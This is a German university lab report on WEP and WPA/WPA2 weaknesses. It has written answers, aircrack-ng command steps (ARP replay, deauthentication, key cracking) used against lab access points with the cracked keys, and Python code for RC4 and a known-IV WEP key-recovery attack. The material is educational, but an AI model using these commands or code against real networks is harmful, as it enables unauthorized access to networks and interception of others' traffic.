Praktikum Aufgabe
Übung 1

Angriffszenarien und
Gegenmaßnahmen
SS2018
Hochschule Emden/Leer

Liang He und Yang Mao

10. April 2018

Inhaltsverzeichnis

1 WEP

a). Wie funktioniert Keystream-Reuse bei WEP?

Bei WEP wird der Schlüssel k zusammen mit einem Initialisierungsvektor(IV) verwendet, um mit dem RC4-Algorithmus eine Byte-Schlüsselfolge zu erzeugen. Der Klartext wird mit dem Bytestrom bitweise XOR-verknüpft.
Der gleiche Schlüsselstrom s mehrfach verwendet wird, so kann man durch XOR-Verknüpfung der beiden Chiffretexte Informationen über die Klartexte erhalten:

$$m_1 \oplus s = c_1$$

$$m_2 \oplus s = c_2$$

$$\Rightarrow (m_1 \oplus s) \oplus (m_2 \oplus s) = m_1 \oplus m_2$$

Da für alle Nachrichten gleichen Schlüssel k verwendet wird, liegt es nur noch am IVs, das Auftreten gleicher Schlüsselstrom zu verhindern. Der IV ist jedoch lediglich 24 bit lang und es eine große Möglichkeit, dass in einem gewissen Zeitraum eine Dopplung von gleichen IV auftreten können. In den Fall, sollte eine Nachricht davon bekannt sein, ist die andere Nachricht auch erreichbar.

b). Warum ist Keystream-Reuse möglich und so effizient?

Da für alle Nachrichten in WEP gleichen Schlüssel k verwendet wird, liegt es nur noch am IVs, das Auftreten gleicher Schlüsselstrom zu verhindern. Die IVs hat zwar 2^{24} Möglichkeiten, aber laut "Birthday-Paradox", hat eine Dopplung mehr als 50% Chance in etwa $1.2 \times \sqrt{2^{24}} \approx$ 5000 Nachrichten aufzutreten, die in einer Minute gesammelt werden können.

c). Warum reicht es nicht aus den IV auf 32 bit zu verlängern? Begründen Sie ihre Antwort mit Hilfe des „Birthday-Paradox“.

Laut "Birthday-Paradoxïst die Chance, dass ein IV mit 32 bit eine Dopplung in etwa $1.2 \times \sqrt{2^{32}} \approx 2^{16}$,mehr als 50%. Obwohl dadurch die Benötigte Zeit des Angriffs verlängern wird, aber trotzdem nicht verhindern.

d). Warum ist eine Modifikation von WEP-Nachrichten möglich? Welche Angriffe sind dadurch denkbar?

Die Verschlüsselung die Integrität nicht schützt kann. Die Integirtät von WEP Paket kann nur durch CRC-Prüfsumme geprüft. Die CRC-Prüfsumme ist linear und es gilt:

$$CRC\text{-}32(x \oplus y) = CRC\text{-}32(x) \oplus CRC\text{-}32(y)$$

Ein Angreifer kann eine beliebige Nachricht wählen, die CRC-Prüfsumme dazu bilden, das Ganze mit dem bekannten Schlüsselstrom XOR-verknüpfen und den passenden IV dahinter anfügen.
Ein Angreifer kann auch gezielt die Bits der IP-Zieladresse so abändern, dass das Paket in ein vom Angreifer kontrolliertes Netzwerk umgeleitet wird. Er kann dann die andere Headerfeld so abändern, dass die Prüfsumme gleich beleibt. AP wird die Paket dann entschlüsselt und umleitet.

e). Wie könnte man diese Angriffe verhindern, wenn man trotzdem weiterhin RC4 bzw. eine Stromchiffre verwenden möchte?

Die Komplexität von IV weiter vergrößert werden(z.B 256 Bit oder 512 Bit), damit die Wahrscheinlichkeit der Dopplung vergingen. Durch Nutzung von Nicht-linearen Prüfsummen werden die Manipulation verhindert.

f). Implementieren Sie (selber) den RC4.

Code wurde in Praktikum gezeigt.

g). In der Datei IVKeystream.txt finden Sie Paare von IVs und ein byte große, abgefangene Chitexte einer mit WEP-Verbindung. Bestimmen Sie daraus mittels einer geeigneten (eigenen) Implementierung des in der Vorlesung beschriebenen Angriffs das erste Byte des WEP-Schlüssels. Beschreiben Sie dabei kurz ihre Vorgehensweise.

Die Antwort ist 'FF'. Wir haben erst 3 Runden des KSA in Python implementiert und die folgende Formeln verwendet:

$$Z = S_N[S_N[1]+S_N[S_N[1]]] = S_A{+}4[S_{A+4}[S_{A+4}[1]]] = S_{A+4}[0+S_{A+4}[0]] = S_{A+3}[j_{A+3}]$$

2 WPA/WPA2

a). In der Vorlesung wurden mehrere Angriffe auf Basis von Keystream-Reuse für WEP-Verkehre beschrieben (vgl. auch Aufgabe 1).

Sind diese auch bei WPA-/WPA2-Verkehren möglich? Begründen sie kurz Ihre Antwort.

Das geht nicht. Bei WPA-/WPA2 wird PreSharedKey verwendet und jeder Client bekommt einen dynamisch erzeugte Schlüssel. Außerdem wird IVs bei WPA-/WPA2 nicht direkt zum Schlüsselstromerzeugen verwendet.

b). Unter welchen Bedingungen können WPA-Verkehre trotz des verbesserten Key-Managements immer noch entschlüsselt werden. Beschreiben Sie Ihren Angriff.

Wenn Passwort Dictionary groß genug sind, WPA-PSK kann mittels einer Passwortsuche angegriffen werden.

c). Kann WPA2 auch noch angegriffen werden? Begründen Sie Ihre Antwort.

WPA2 kann auch noch mittels einer Passwortsuche angegriffen werden, wenn die 4-Wege-Handshake Pakete mitgeschrieben werden.

d). Wie werden die Angriffe heutzutage, z.B. bei Eduroam, verhindert? Welche Rolle spielen dabei EAP und RADIUS bzw. DIAMETER?

Authenticator werden bei dem Zugangspunkt von WLAN eingerichtet, um die Nachrichten eines EAP-Protokolls zwischen Supplicant und Authentication Server zu leiten. RADIUS und DIAMETER sind die Authentication Server.

e). Was ist die Grundidee des Key Reinstallation Angriffs. Wie kann dieser verhindert werden?

Bei Key Reinstallation Angriff werden 4-Wege-Handshake Phase gestört und damit der selbe Schlüssel mehrmals verwendet wird. Als Gegenmaßnahmen sollte das Protokoll verbessert werden, um die Installation von Key zu bestätigen.

3 Aircrack & Co

a). Brechen Sie die im IT-Labor eingerichtete WLAN-Verbindung mit der für Sie vorgesehenen SSID (im Praktikum erfragen) mittels Aircrack unter zu Hilfenahme der Datei Password.txt. Beschreiben Sie kurz die einzelnen Schritte ihrer Vorgehensweise.

AP ITS-WEP Knacken Wir haben folgende Schritte durchgeführt und die AP 'ITS-WEP' geknackt. Das Passwort ist

```
ED:98:ED:38:DF:BB:C3:BB:B0:D2:8C:62:B3
```

a. Mit Airmon-ng die Netzwerkkarte zu promiscuous versetzen

```
airmon-ng start wlan0
```

b. WLAN mit WEP identifizieren und Netzwerkverkehr mitschneiden.

```
airodump-ng wlan0mon --ivs -c {CH} --bssid {target_ssid} -w {
```

c. Um Menge an Netzwerkverkehr(bzw. ARP-Verkehr) durch 2 Arten zu erhöht, haben wir ARP Request replay attack dürchgefürht mit folgende Befehle:

```
aireplay-ng -3 -b {target_mac} -h {networkcart_mac} mon0
```

Da normalerweise soll viele Gerate nach einer abmedlung wieder dem AP zu verbinden, und damit können wir genug ARP Requests und ACKs sammeln.

d. Wenn c.a. 1500 Paket gesammelt wurden, können wir schon mit Aircrack-ng das Passwort zu knacken.

```
aircrack-ng {.ivs file} -b {target_ssid}[language=bash]
```

AP ITS-Praktikum knacken Wir haben folgende Schritte durchgeführt und die AP 'ITS-WEP' geknackt. Das Passwort ist

```
birthday1
```

a. Mit Airmon-ng die Netzwerkkarte zu promiscuous versetzen

```
airmon-ng start wlan0
```

b. WLAN mit WEP identifizieren und Netzwerkverkehr mitschneiden.

```
airodump-ng wlan0mon --ivs -c {CH} --bssid {target_ssid} -w {
```

c. Damit wir Handshake-Pakete so schnell wie möglich sammeln können, haben wir Deauthentication Attacks durchgeführt, so wird die Client gezwungen abgemeldet und wieder anmelden lassen.

```
aireplay-ng wlan0 --deauth 0 -a {target_mac}
```

Da normalerweise soll viele Gerate nach einer abmedlung wieder dem AP zu verbinden, und damit können wir genug ARP Requests und ACKs sammeln.

d. Wenn c.a. 1500 Paket gesammelt wurden, können wir schon mit Aircrack-ng das Passwort zu knacken.

```
aircrack-ng {.ivs file} -b {target_ssid}[language=bash]
```

b). (Optional) Versuchen Sie, da Sie nun den PSK kennen, die Verkehre mittels eines geeigneten Tools (z.B.Wireshark) aufzuzeichnen und zu entschlüsseln.

c). (Optional) Machen Sie sich mit WPS-Pin-Verfahren vertraut. Versuchen Sie die WLAN-Verbindung mittels WPS anzugreifen.

4 Anhang

4.1 RC4 Algorithm

```
'''
It's a implementation of RC4 Algorithm
'''
def KSA_PRGA(key, scrambling_step = 256):
    """
    Function to generate key steam
    :param key: a.k.a IV, in format Hex
    :param text_length
    :return: key stream
    """

    # Initialization
    # Preparation

    pre_stream = [0] * 256
    for i in range(0, 256):
        pre_stream[i] = i
    j = 0
    key = [int(i) for i in key]
    print("key={key}".format(key=key))

    # Scrambling the pre_stream with key
    for i in range(0, scrambling_step):
        j = (pre_stream[i] + j + key[i % len(key)]) % 256
        if i == 2 and (j == 1 or j == 0):
            print("pre_stream={pre_stream}".format(pre_stream=pre_str
            print('S[0] or S[1] will be modified, thrown the result.'
            return []
        tmp = pre_stream[i]
        pre_stream[i] = pre_stream[j]
        pre_stream[j] = tmp

    # Generate the key_stream, PRGA(key)

    i = 0
    j = 0
    key_stream = [0] * 256
```

```
    for index in range(0, 256):
        i = (i + 1) % 256
        j = (j + pre_stream[i]) % 256

        tmp = pre_stream[i]
        pre_stream[i] = pre_stream[j]
        pre_stream[j] = tmp

        key_stream[index] = pre_stream[(pre_stream[i] + pre_stream[j]

    key_stream = [hex(i) for i in key_stream]
    print('key_stream={key_stream}'.format(key_stream=key_stream))
    return key_stream


def Encrypt_Decrypt(key, text):

    key_stream = KSA_PRGA(key, len(text))
    text = [int(i) for i in text]
    # print("plaintext={plaintext}".format(plaintext=text))

    results = []
    for i in range(len(text)):
        results.append(text[i] ^ int(key_stream[i], 16))

    results = [hex(i) for i in results]
    print('result={results}'.format(results=results))
    return results


key_text = 'Key'
key = [ord(i) for i in key_text]
plain_text = 'Plaintext'
plain_text = [ord(i) for i in plain_text]
crypto_text = Encrypt_Decrypt(key, plain_text)
# result_text = Encrypt_Decrypt(key , crypto_text)
```

4.2 Known IV Attack auf RC4

crack.py

```
from Code.de.aug.Uebung1.rc4.rc4_part import KSA_PRGA as gen_keystrea
from Code.de.aug.Uebung1.rc4.iv_loader import load_iv_keystream as re

import os

def crack_rc4_under_restrictions(scrambling_step=3):
    '''
    This function implements the crack of rc4, the algorithm is shown
    '''
    count = {}
    test_file = 'rc4_testdata_2.txt'
    path = os.path.dirname(os.getcwd()) + '/' + test_file

    (IV_tuple_sets, keystream_firstbyte_set) = read_IVKeystream(path)
    for index, IV_tuple in enumerate(IV_tuple_sets):
        x = int(IV_tuple[2], 16)
        j_2 = 5 + x
        keystream = gen_keystream(IV_tuple, scrambling_step)

        if len(keystream) != 0:
            z = hex(int(keystream_firstbyte_set[index], 16))
            j_3 = keystream.index(z)
            k_3 = j_3 - int(keystream[3], 16) - j_2
            if k_3 < 0:
                k_3 += 256
            k_3_hex = hex(k_3)

            if k_3_hex in count:
                count[k_3_hex] += 1
            else:
                count[k_3_hex] = 1
            # print(hex(k_3_hex))
    ordered_count = [(i, count[i]) for i in sorted(count, key=count.
    print(ordered_count)

crack_rc4_under_restrictions()
```

rc4_part.py

```
def KSA_PRGA(key, scrambling_step = 256):
    """
    Function to generate key steam
    :param key: a.k.a IV, in format Hex
    :param text_length
    :return: key stream
    """

    # Initialization
    # Preparation

    pre_stream = [0] * 256
    for i in range(0, 256):
        pre_stream[i] = i
    j = 0
    key = [int(i, 16) for i in key]
    print("key={key}".format(key=key))

    # Scrambling the pre_stream with key
    for i in range(0, scrambling_step):
        j = (pre_stream[i] + j + key[i % len(key)]) % 256
        if i == 2 and (j == 1 or j == 0):
            print("pre_stream={pre_stream}".format(pre_stream=pre_str
            print('S[0] or S[1] will be modified, thrown the result.'
            return []
        tmp = pre_stream[i]
        pre_stream[i] = pre_stream[j]
        pre_stream[j] = tmp

    # Print Scrambling result:
    pre_stream = [hex(i) for i in pre_stream]
    print("pre_stream={pre_stream}".format(pre_stream=pre_stream))
    return pre_stream

    # Generate the key_stream, PRGA(key)

    # i = 0
    # j = 0
```

```
    # key_stream = [0] * 256
    #
    # for index in range(0, 256):
    #     i = (i + 1) % 256
    #     j = (j + pre_stream[i]) % 256
    #
    #     tmp = pre_stream[i]
    #     pre_stream[i] = pre_stream[j]
    #     pre_stream[j] = tmp
    #
    #     key_stream[index] = pre_stream[(pre_stream[i] + pre_stream
    #
    # key_stream = [hex(i) for i in key_stream]
    # print('key_stream={key_stream}'.format(key_stream=key_stream))
    # return key_stream


def Encrypt_Decrypt(key, text):

    key_stream = KSA_PRGA(key, len(text))
    text = [int(i) for i in text]
    # print("plaintext={plaintext}".format(plaintext=text))

    results = []
    for i in range(len(text)):
        results.append(text[i] ^ int(key_stream[i], 16))

    results = [hex(i) for i in results]
    print('result={results}'.format(results=results))
    return results
```

---

iv_loader.py

```
def load_iv_keystream(path):
    '''
    :param path: path to file
    :return: (iv_set, keystream)
    '''
    #Save all the IVs in the form
```

```
        # [[iv, iv, iv], \
        # [iv, iv, iv], \
        # [iv, iv, iv]
        #...]
    IVs_set = []
    keystream_set = []
    with open(path ,'r') as file:
        for line in file:
            line_array = line.split()
            if len(line_array) < 5:
                continue
            if line_array[1] == '03' and line_array[2] == 'FF' :
# \
                    # and line_array[3] != 'FA' and line_array[3] !=
# array[0] is 'IV:',
                # If X in Step 2 == 'FA' or 'FB', S[0] and S[1] will
                # Every iv tuper [iv, iv, iv]
                iv_cell = line_array[1:4]
                # iv_cell = [int(i, 16) for i in iv_cell]
                IVs_set.append(iv_cell)
                keystream_set.append(line_array[5])

        return (IVs_set, keystream_set)
```